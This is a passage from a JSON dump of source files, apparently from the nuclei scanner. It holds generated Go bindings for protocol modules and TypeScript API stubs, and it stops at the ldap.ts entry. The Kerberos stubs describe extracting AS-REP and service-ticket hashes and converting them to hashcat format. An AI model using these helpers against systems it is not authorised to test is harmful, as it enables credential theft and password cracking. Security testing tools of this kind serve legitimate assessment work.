    "content": "package net\n\nimport (\n\tlib_net \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/net\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/net\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"Open\":    lib_net.Open,\n\t\t\t\"OpenTLS\": lib_net.OpenTLS,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"NetConn\": gojs.GetClassConstructor[lib_net.NetConn](&lib_net.NetConn{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/liboracle/oracle.go",
    "content": "package oracle\n\nimport (\n\tlib_oracle \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/oracle\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/oracle\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"IsOracleResponse\": gojs.GetClassConstructor[lib_oracle.IsOracleResponse](&lib_oracle.IsOracleResponse{}),\n\t\t\t\"OracleClient\":     gojs.GetClassConstructor[lib_oracle.OracleClient](&lib_oracle.OracleClient{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libpop3/pop3.go",
    "content": "package pop3\n\nimport (\n\tlib_pop3 \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/pop3\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/pop3\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"IsPOP3\": lib_pop3.IsPOP3,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"IsPOP3Response\": gojs.GetClassConstructor[lib_pop3.IsPOP3Response](&lib_pop3.IsPOP3Response{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libpostgres/postgres.go",
    "content": "package postgres\n\nimport (\n\tlib_postgres \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/postgres\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/postgres\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"PGClient\": gojs.GetClassConstructor[lib_postgres.PGClient](&lib_postgres.PGClient{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/librdp/rdp.go",
    "content": "package rdp\n\nimport (\n\tlib_rdp \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rdp\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/rdp\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"CheckRDPAuth\":       lib_rdp.CheckRDPAuth,\n\t\t\t\"CheckRDPEncryption\": lib_rdp.CheckRDPEncryption,\n\t\t\t\"IsRDP\":              lib_rdp.IsRDP,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"CheckRDPAuthResponse\":       gojs.GetClassConstructor[lib_rdp.CheckRDPAuthResponse](&lib_rdp.CheckRDPAuthResponse{}),\n\t\t\t\"CheckRDPEncryptionResponse\": gojs.GetClassConstructor[lib_rdp.RDPEncryptionResponse](&lib_rdp.RDPEncryptionResponse{}),\n\t\t\t\"IsRDPResponse\":              gojs.GetClassConstructor[lib_rdp.IsRDPResponse](&lib_rdp.IsRDPResponse{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libredis/redis.go",
    "content": "package redis\n\nimport (\n\tlib_redis \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/redis\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/redis\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"Connect\":           lib_redis.Connect,\n\t\t\t\"GetServerInfo\":     lib_redis.GetServerInfo,\n\t\t\t\"GetServerInfoAuth\": lib_redis.GetServerInfoAuth,\n\t\t\t\"IsAuthenticated\":   lib_redis.IsAuthenticated,\n\t\t\t\"RunLuaScript\":      lib_redis.RunLuaScript,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/librsync/rsync.go",
    "content": "package rsync\n\nimport (\n\tlib_rsync \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rsync\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/rsync\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"IsRsync\": lib_rsync.IsRsync,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"IsRsyncResponse\": gojs.GetClassConstructor[lib_rsync.IsRsyncResponse](&lib_rsync.IsRsyncResponse{}),\n\t\t\t\"RsyncClient\":     gojs.GetClassConstructor[lib_rsync.RsyncClient](&lib_rsync.RsyncClient{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libsmb/smb.go",
    "content": "package smb\n\nimport (\n\tlib_smb \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smb\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/smb\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"SMBClient\": gojs.GetClassConstructor[lib_smb.SMBClient](&lib_smb.SMBClient{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libsmtp/smtp.go",
    "content": "package smtp\n\nimport (\n\tlib_smtp \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smtp\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/smtp\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"NewSMTPClient\": lib_smtp.NewSMTPClient,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"Client\":       lib_smtp.NewSMTPClient,\n\t\t\t\"SMTPMessage\":  gojs.GetClassConstructor[lib_smtp.SMTPMessage](&lib_smtp.SMTPMessage{}),\n\t\t\t\"SMTPResponse\": gojs.GetClassConstructor[lib_smtp.SMTPResponse](&lib_smtp.SMTPResponse{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libssh/ssh.go",
    "content": "package ssh\n\nimport (\n\tlib_ssh \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ssh\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/ssh\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"SSHClient\": gojs.GetClassConstructor[lib_ssh.SSHClient](&lib_ssh.SSHClient{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libstructs/structs.go",
    "content": "package structs\n\nimport (\n\tlib_structs \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/structs\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/structs\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"Pack\":            lib_structs.Pack,\n\t\t\t\"StructsCalcSize\": lib_structs.StructsCalcSize,\n\t\t\t\"Unpack\":          lib_structs.Unpack,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libtelnet/telnet.go",
    "content": "package telnet\n\nimport (\n\tlib_telnet \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/telnet\"\n\ttelnetmini \"github.com/projectdiscovery/nuclei/v3/pkg/utils/telnetmini\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/telnet\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"IsTelnet\": lib_telnet.IsTelnet,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"TelnetClient\":       gojs.GetClassConstructor[lib_telnet.TelnetClient](&lib_telnet.TelnetClient{}),\n\t\t\t\"IsTelnetResponse\":   gojs.GetClassConstructor[lib_telnet.IsTelnetResponse](&lib_telnet.IsTelnetResponse{}),\n\t\t\t\"TelnetInfoResponse\": gojs.GetClassConstructor[lib_telnet.TelnetInfoResponse](&lib_telnet.TelnetInfoResponse{}),\n\t\t\t\"NTLMInfoResponse\":   gojs.GetClassConstructor[telnetmini.NTLMInfoResponse](&telnetmini.NTLMInfoResponse{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libvnc/vnc.go",
    "content": "package vnc\n\nimport (\n\tlib_vnc \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/vnc\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/vnc\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"IsVNC\": lib_vnc.IsVNC,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"IsVNCResponse\": gojs.GetClassConstructor[lib_vnc.IsVNCResponse](&lib_vnc.IsVNCResponse{}),\n\t\t\t\"VNCClient\":     gojs.GetClassConstructor[lib_vnc.VNCClient](&lib_vnc.VNCClient{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/ts/bytes.ts",
    "content": "\n\n/**\n * Buffer is a bytes/Uint8Array type in javascript\n * @example\n * ```javascript\n * const bytes = require('nuclei/bytes');\n * const bytes = new bytes.Buffer();\n * ```\n * @example\n * ```javascript\n * const bytes = require('nuclei/bytes');\n * // optionally it can accept existing byte/Uint8Array as input\n * const bytes = new bytes.Buffer([1, 2, 3]);\n * ```\n */\nexport class Buffer {\n    \n\n    // Constructor of Buffer\n    constructor() {}\n    /**\n    * Write appends the given data to the buffer.\n    * @example\n    * ```javascript\n    * const bytes = require('nuclei/bytes');\n    * const buffer = new bytes.Buffer();\n    * buffer.Write([1, 2, 3]);\n    * ```\n    */\n    public Write(data: Uint8Array): Buffer {\n        return this;\n    }\n    \n\n    /**\n    * WriteString appends the given string data to the buffer.\n    * @example\n    * ```javascript\n    * const bytes = require('nuclei/bytes');\n    * const buffer = new bytes.Buffer();\n    * buffer.WriteString('hello');\n    * ```\n    */\n    public WriteString(data: string): Buffer {\n        return this;\n    }\n    \n\n    /**\n    * Bytes returns the byte representation of the buffer.\n    * @example\n    * ```javascript\n    * const bytes = require('nuclei/bytes');\n    * const buffer = new bytes.Buffer();\n    * buffer.WriteString('hello');\n    * log(buffer.Bytes());\n    * ```\n    */\n    public Bytes(): Uint8Array {\n        return new Uint8Array(8);\n    }\n    \n\n    /**\n    * String returns the string representation of the buffer.\n    * @example\n    * ```javascript\n    * const bytes = require('nuclei/bytes');\n    * const buffer = new bytes.Buffer();\n    * buffer.WriteString('hello');\n    * log(buffer.String());\n    * ```\n    */\n    public String(): string {\n        return \"\";\n    }\n    \n\n    /**\n    * Len returns the length of the buffer.\n    * @example\n    * ```javascript\n    * const bytes = require('nuclei/bytes');\n    * const buffer = new bytes.Buffer();\n    * buffer.WriteString('hello');\n    * log(buffer.Len());\n    * ```\n    */\n    public Len(): number {\n        return 0;\n    }\n    \n\n    /**\n    * Hex returns the hex representation of the buffer.\n    * @example\n    * ```javascript\n    * const bytes = require('nuclei/bytes');\n    * const buffer = new bytes.Buffer();\n    * buffer.WriteString('hello');\n    * log(buffer.Hex());\n    * ```\n    */\n    public Hex(): string {\n        return \"\";\n    }\n    \n\n    /**\n    * Hexdump returns the hexdump representation of the buffer.\n    * @example\n    * ```javascript\n    * const bytes = require('nuclei/bytes');\n    * const buffer = new bytes.Buffer();\n    * buffer.WriteString('hello');\n    * log(buffer.Hexdump());\n    * ```\n    */\n    public Hexdump(): string {\n        return \"\";\n    }\n    \n\n    /**\n    * Pack uses structs.Pack and packs given data and appends it to the buffer.\n    * it packs the data according to the given format.\n    * @example\n    * ```javascript\n    * const bytes = require('nuclei/bytes');\n    * const buffer = new bytes.Buffer();\n    * buffer.Pack('I', 123);\n    * ```\n    */\n    public Pack(formatStr: string, msg: any): void {\n        return;\n    }\n    \n\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/fs.ts",
    "content": "\n\n/**\n * ListDir lists itemType values within a directory\n * depending on the itemType provided\n * itemType can be any one of ['file','dir',”]\n * @example\n * ```javascript\n * const fs = require('nuclei/fs');\n * // this will only return files in /tmp directory\n * const files = fs.ListDir('/tmp', 'file');\n * ```\n * @example\n * ```javascript\n * const fs = require('nuclei/fs');\n * // this will only return directories in /tmp directory\n * const dirs = fs.ListDir('/tmp', 'dir');\n * ```\n * @example\n * ```javascript\n * const fs = require('nuclei/fs');\n * // when no itemType is provided, it will return both files and directories\n * const items = fs.ListDir('/tmp');\n * ```\n */\nexport function ListDir(path: string, itemType: string): string[] | null {\n    return null;\n}\n\n\n\n/**\n * ReadFile reads file contents within permitted paths\n * and returns content as byte array\n * @example\n * ```javascript\n * const fs = require('nuclei/fs');\n * // here permitted directories are $HOME/nuclei-templates/*\n * const content = fs.ReadFile('helpers/usernames.txt');\n * ```\n */\nexport function ReadFile(path: string): Uint8Array | null {\n    return null;\n}\n\n\n\n/**\n * ReadFileAsString reads file contents within permitted paths\n * and returns content as string\n * @example\n * ```javascript\n * const fs = require('nuclei/fs');\n * // here permitted directories are $HOME/nuclei-templates/*\n * const content = fs.ReadFileAsString('helpers/usernames.txt');\n * ```\n */\nexport function ReadFileAsString(path: string): string | null {\n    return null;\n}\n\n\n\n/**\n * ReadFilesFromDir reads all files from a directory\n * and returns a string array with file contents of all files\n * @example\n * ```javascript\n * const fs = require('nuclei/fs');\n * // here permitted directories are $HOME/nuclei-templates/*\n * const contents = fs.ReadFilesFromDir('helpers/ssh-keys');\n * log(contents);\n * ```\n */\nexport function ReadFilesFromDir(dir: string): string[] | null {\n    return null;\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/goconsole.ts",
    "content": "\n\n/**\n * NewGoConsolePrinter Function\n */\nexport function NewGoConsolePrinter(): GoConsolePrinter {\n    return new GoConsolePrinter();\n}\n\n\n\n/**\n */\nexport class GoConsolePrinter {\n    \n\n    // Constructor of GoConsolePrinter\n    constructor() {}\n    /**\n    * Log Method\n    */\n    public Log(msg: string): void {\n        return;\n    }\n    \n\n    /**\n    * Warn Method\n    */\n    public Warn(msg: string): void {\n        return;\n    }\n    \n\n    /**\n    * Error Method\n    */\n    public Error(msg: string): void {\n        return;\n    }\n    \n\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/ikev2.ts",
    "content": "\n\n\nexport const IKE_EXCHANGE_AUTH = 35;\n\n\nexport const IKE_EXCHANGE_CREATE_CHILD_SA = 36;\n\n\nexport const IKE_EXCHANGE_INFORMATIONAL = 37;\n\n\nexport const IKE_EXCHANGE_SA_INIT = 34;\n\n\nexport const IKE_FLAGS_InitiatorBitCheck = 0x08;\n\n\nexport const IKE_NOTIFY_NO_PROPOSAL_CHOSEN = 14;\n\n\nexport const IKE_NOTIFY_USE_TRANSPORT_MODE = 16391;\n\n\nexport const IKE_VERSION_2 = 0x20;\n\n/**\n * IKEMessage is the IKEv2 message\n * IKEv2 implements a limited subset of IKEv2 Protocol, specifically\n * the IKE_NOTIFY and IKE_NONCE payloads and the IKE_SA_INIT exchange.\n */\nexport class IKEMessage {\n    \n\n    \n    public InitiatorSPI?: number;\n    \n\n    \n    public Version?: number;\n    \n\n    \n    public ExchangeType?: number;\n    \n\n    \n    public Flags?: number;\n    \n\n    // Constructor of IKEMessage\n    constructor() {}\n    /**\n    * AppendPayload appends a payload to the IKE message\n    * payload can be any of the payloads like IKENotification, IKENonce, etc.\n    * @example\n    * ```javascript\n    * const ikev2 = require('nuclei/ikev2');\n    * const message = new ikev2.IKEMessage();\n    * const nonce = new ikev2.IKENonce();\n    * nonce.NonceData = [1, 2, 3];\n    * message.AppendPayload(nonce);\n    * ```\n    */\n    public AppendPayload(payload: any): void {\n        return;\n    }\n    \n\n    /**\n    * Encode encodes the final IKE message\n    * @example\n    * ```javascript\n    * const ikev2 = require('nuclei/ikev2');\n    * const message = new ikev2.IKEMessage();\n    * const nonce = new ikev2.IKENonce();\n    * nonce.NonceData = [1, 2, 3];\n    * message.AppendPayload(nonce);\n    * log(message.Encode());\n    * ```\n    */\n    public Encode(): Uint8Array | null {\n        return null;\n    }\n    \n\n}\n\n\n\n/**\n * IKENonce is the IKEv2 Nonce payload\n * this implements the IKEPayload interface\n * @example\n * ```javascript\n * const ikev2 = require('nuclei/ikev2');\n * const nonce = new ikev2.IKENonce();\n * nonce.NonceData = [1, 2, 3];\n * ```\n */\nexport interface IKENonce {\n    \n    NonceData?: Uint8Array,\n}\n\n\n\n/**\n * IKEv2Notify is the IKEv2 Notification payload\n * this implements the IKEPayload interface\n * @example\n * ```javascript\n * const ikev2 = require('nuclei/ikev2');\n * const notify = new ikev2.IKENotification();\n * notify.NotifyMessageType = ikev2.IKE_NOTIFY_NO_PROPOSAL_CHOSEN;\n * notify.NotificationData = [1, 2, 3];\n * ```\n */\nexport interface IKENotification {\n    \n    NotifyMessageType?: number,\n    \n    NotificationData?: Uint8Array,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/index.ts",
    "content": "export * as bytes from './bytes';\nexport * as fs from './fs';\nexport * as goconsole from './goconsole';\nexport * as ikev2 from './ikev2';\nexport * as kerberos from './kerberos';\nexport * as ldap from './ldap';\nexport * as mssql from './mssql';\nexport * as mysql from './mysql';\nexport * as net from './net';\nexport * as oracle from './oracle';\nexport * as pop3 from './pop3';\nexport * as postgres from './postgres';\nexport * as rdp from './rdp';\nexport * as redis from './redis';\nexport * as rsync from './rsync';\nexport * as smb from './smb';\nexport * as smtp from './smtp';\nexport * as ssh from './ssh';\nexport * as structs from './structs';\nexport * as telnet from './telnet';\nexport * as vnc from './vnc';\n"
  },
  {
    "path": "pkg/js/generated/ts/kerberos.ts",
    "content": "\n\n/**\n * ASRepToHashcat converts an AS-REP message to a hashcat format\n */\nexport function ASRepToHashcat(asrep: any): string | null {\n    return null;\n}\n\n\n\n/**\n * CheckKrbError checks if the response bytes from the KDC are a KRBError.\n */\nexport function CheckKrbError(b: Uint8Array): Uint8Array | null {\n    return null;\n}\n\n\n\n/**\n * NewKerberosClientFromString creates a new kerberos client from a string\n * by parsing krb5.conf\n * @example\n * ```javascript\n * const kerberos = require('nuclei/kerberos');\n * const client = kerberos.NewKerberosClientFromString(`\n * [libdefaults]\n * default_realm = ACME.COM\n * dns_lookup_kdc = true\n * `);\n * ```\n */\nexport function NewKerberosClientFromString(cfg: string): Client | null {\n    return null;\n}\n\n\n\n/**\n * sendtokdc.go deals with actual sending and receiving responses from KDC\n * SendToKDC sends a message to the KDC and returns the response.\n * It first tries to send the message over TCP, and if that fails, it falls back to UDP.(and vice versa)\n * @example\n * ```javascript\n * const kerberos = require('nuclei/kerberos');\n * const client = new kerberos.Client('acme.com');\n * const response = kerberos.SendToKDC(client, 'message');\n * ```\n */\nexport function SendToKDC(kclient: Client, msg: string): string | null {\n    return null;\n}\n\n\n\n/**\n * TGStoHashcat converts a TGS to a hashcat format.\n */\nexport function TGStoHashcat(tgs: any, username: string): string | null {\n    return null;\n}\n\n\n\n/**\n * Known Issues:\n * Hardcoded timeout in gokrb5 library\n * TGT / Session Handling not exposed\n * Client is kerberos client\n * @example\n * ```javascript\n * const kerberos = require('nuclei/kerberos');\n * // if controller is empty a dns lookup for default kdc server will be performed\n * const client = new kerberos.Client('acme.com', 'kdc.acme.com');\n * ```\n */\nexport class Client {\n    \n\n    \n    public Krb5Config?: Config;\n    \n\n    \n    public Realm?: string;\n    \n\n    // Constructor of Client\n    constructor(public domain: string, public controller?: string ) {}\n    \n\n    /**\n    * SetConfig sets additional config for the kerberos client\n    * Note: as of now ip and timeout overrides are only supported\n    * in EnumerateUser due to fastdialer but can be extended to other methods currently\n    * @example\n    * ```javascript\n    * const kerberos = require('nuclei/kerberos');\n    * const client = new kerberos.Client('acme.com', 'kdc.acme.com');\n    * const cfg = new kerberos.Config();\n    * cfg.SetIPAddress('192.168.100.22');\n    * cfg.SetTimeout(5);\n    * client.SetConfig(cfg);\n    * ```\n    */\n    public SetConfig(cfg: Config): void {\n        return;\n    }\n    \n\n    /**\n    * EnumerateUser and attempt to get AS-REP hash by disabling PA-FX-FAST\n    * @example\n    * ```javascript\n    * const kerberos = require('nuclei/kerberos');\n    * const client = new kerberos.Client('acme.com', 'kdc.acme.com');\n    * const resp = client.EnumerateUser('pdtm');\n    * log(resp);\n    * ```\n    */\n    public EnumerateUser(username: string): EnumerateUserResponse | null {\n        return null;\n    }\n    \n\n    /**\n    * GetServiceTicket returns a TGS for a given user, password and SPN\n    * @example\n    * ```javascript\n    * const kerberos = require('nuclei/kerberos');\n    * const client = new kerberos.Client('acme.com', 'kdc.acme.com');\n    * const resp = client.GetServiceTicket('pdtm', 'password', 'HOST/CLIENT1');\n    * log(resp);\n    * ```\n    */\n    public GetServiceTicket(User: string): TGS | null {\n        return null;\n    }\n    \n\n}\n\n\n\n/**\n * Config is extra configuration for the kerberos client\n */\nexport class Config {\n    \n\n    // Constructor of Config\n    constructor() {}\n    /**\n    * SetIPAddress sets the IP address for the kerberos client\n    * @example\n    * ```javascript\n    * const kerberos = require('nuclei/kerberos');\n    * const cfg = new kerberos.Config();\n    * cfg.SetIPAddress('10.10.10.1');\n    * ```\n    */\n    public SetIPAddress(ip: string): Config | null {\n        return null;\n    }\n    \n\n    /**\n    * SetTimeout sets the RW timeout for the kerberos client\n    * @example\n    * ```javascript\n    * const kerberos = require('nuclei/kerberos');\n    * const cfg = new kerberos.Config();\n    * cfg.SetTimeout(5);\n    * ```\n    */\n    public SetTimeout(timeout: number): Config | null {\n        return null;\n    }\n    \n\n}\n\n\n\n/**\n * AuthorizationDataEntry Interface\n */\nexport interface AuthorizationDataEntry {\n    \n    ADData?: Uint8Array,\n    \n    ADType?: number,\n}\n\n\n\n/**\n * BitString Interface\n */\nexport interface BitString {\n    \n    Bytes?: Uint8Array,\n    \n    BitLength?: number,\n}\n\n\n\n/**\n * BitString Interface\n */\nexport interface BitString {\n    \n    Bytes?: Uint8Array,\n    \n    BitLength?: number,\n}\n\n\n\n/**\n * Config Interface\n */\nexport interface Config {\n    \n    LibDefaults?: LibDefaults,\n    \n    Realms?: Realm,\n}\n\n\n\n/**\n * EncTicketPart Interface\n */\nexport interface EncTicketPart {\n    \n    EndTime?: Date,\n    \n    RenewTill?: Date,\n    \n    CRealm?: string,\n    \n    AuthTime?: Date,\n    \n    StartTime?: Date,\n    \n    Flags?: BitString,\n    \n    Key?: EncryptionKey,\n    \n    CName?: PrincipalName,\n    \n    Transited?: TransitedEncoding,\n    \n    CAddr?: HostAddress,\n    \n    AuthorizationData?: AuthorizationDataEntry,\n}\n\n\n\n/**\n * EncryptedData Interface\n */\nexport interface EncryptedData {\n    \n    EType?: number,\n    \n    KVNO?: number,\n    \n    Cipher?: Uint8Array,\n}\n\n\n\n/**\n * EncryptionKey Interface\n */\nexport interface EncryptionKey {\n    \n    KeyType?: number,\n    \n    KeyValue?: Uint8Array,\n}\n\n\n\n/**\n * EnumerateUserResponse is the response from EnumerateUser\n */\nexport interface EnumerateUserResponse {\n    \n    Valid?: boolean,\n    \n    ASREPHash?: string,\n    \n    Error?: string,\n}\n\n\n\n/**\n * HostAddress Interface\n */\nexport interface HostAddress {\n    \n    AddrType?: number,\n    \n    Address?: Uint8Array,\n}\n\n\n\n/**\n * LibDefaults Interface\n */\nexport interface LibDefaults {\n    \n    CCacheType?: number,\n    \n    K5LoginAuthoritative?: boolean,\n    \n    Proxiable?: boolean,\n    \n    RDNS?: boolean,\n    \n    K5LoginDirectory?: string,\n    \n    KDCTimeSync?: number,\n    \n    VerifyAPReqNofail?: boolean,\n    \n    DefaultTGSEnctypes?: string[],\n    \n    DefaultTGSEnctypeIDs?: number[],\n    \n    DNSCanonicalizeHostname?: boolean,\n    \n    Forwardable?: boolean,\n    \n    /**\n    * time in nanoseconds\n    */\n    \n    RenewLifetime?: number,\n    \n    /**\n    * time in nanoseconds\n    */\n    \n    TicketLifetime?: number,\n    \n    DefaultClientKeytabName?: string,\n    \n    DefaultTktEnctypeIDs?: number[],\n    \n    DNSLookupRealm?: boolean,\n    \n    ExtraAddresses?: Uint8Array,\n    \n    DefaultRealm?: string,\n    \n    NoAddresses?: boolean,\n    \n    PreferredPreauthTypes?: number[],\n    \n    PermittedEnctypeIDs?: number[],\n    \n    RealmTryDomains?: number,\n    \n    DefaultKeytabName?: string,\n    \n    DefaultTktEnctypes?: string[],\n    \n    DNSLookupKDC?: boolean,\n    \n    IgnoreAcceptorHostname?: boolean,\n    \n    AllowWeakCrypto?: boolean,\n    \n    Canonicalize?: boolean,\n    \n    SafeChecksumType?: number,\n    \n    UDPPreferenceLimit?: number,\n    \n    /**\n    * time in nanoseconds\n    */\n    \n    Clockskew?: number,\n    \n    PermittedEnctypes?: string[],\n    \n    KDCDefaultOptions?: BitString,\n}\n\n\n\n/**\n * PrincipalName Interface\n */\nexport interface PrincipalName {\n    \n    NameString?: string[],\n    \n    NameType?: number,\n}\n\n\n\n/**\n * Realm Interface\n */\nexport interface Realm {\n    \n    Realm?: string,\n    \n    AdminServer?: string[],\n    \n    DefaultDomain?: string,\n    \n    KDC?: string[],\n    \n    KPasswdServer?: string[],\n    \n    MasterKDC?: string[],\n}\n\n\n\n/**\n * TGS is the response from GetServiceTicket\n */\nexport interface TGS {\n    \n    Ticket?: Ticket,\n    \n    Hash?: string,\n    \n    ErrMsg?: string,\n}\n\n\n\n/**\n * Ticket Interface\n */\nexport interface Ticket {\n    \n    TktVNO?: number,\n    \n    Realm?: string,\n    \n    SName?: PrincipalName,\n    \n    EncPart?: EncryptedData,\n    \n    DecryptedEncPart?: EncTicketPart,\n}\n\n\n\n/**\n * TransitedEncoding Interface\n */\nexport interface TransitedEncoding {\n    \n    TRType?: number,\n    \n    Contents?: Uint8Array,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/ldap.ts",
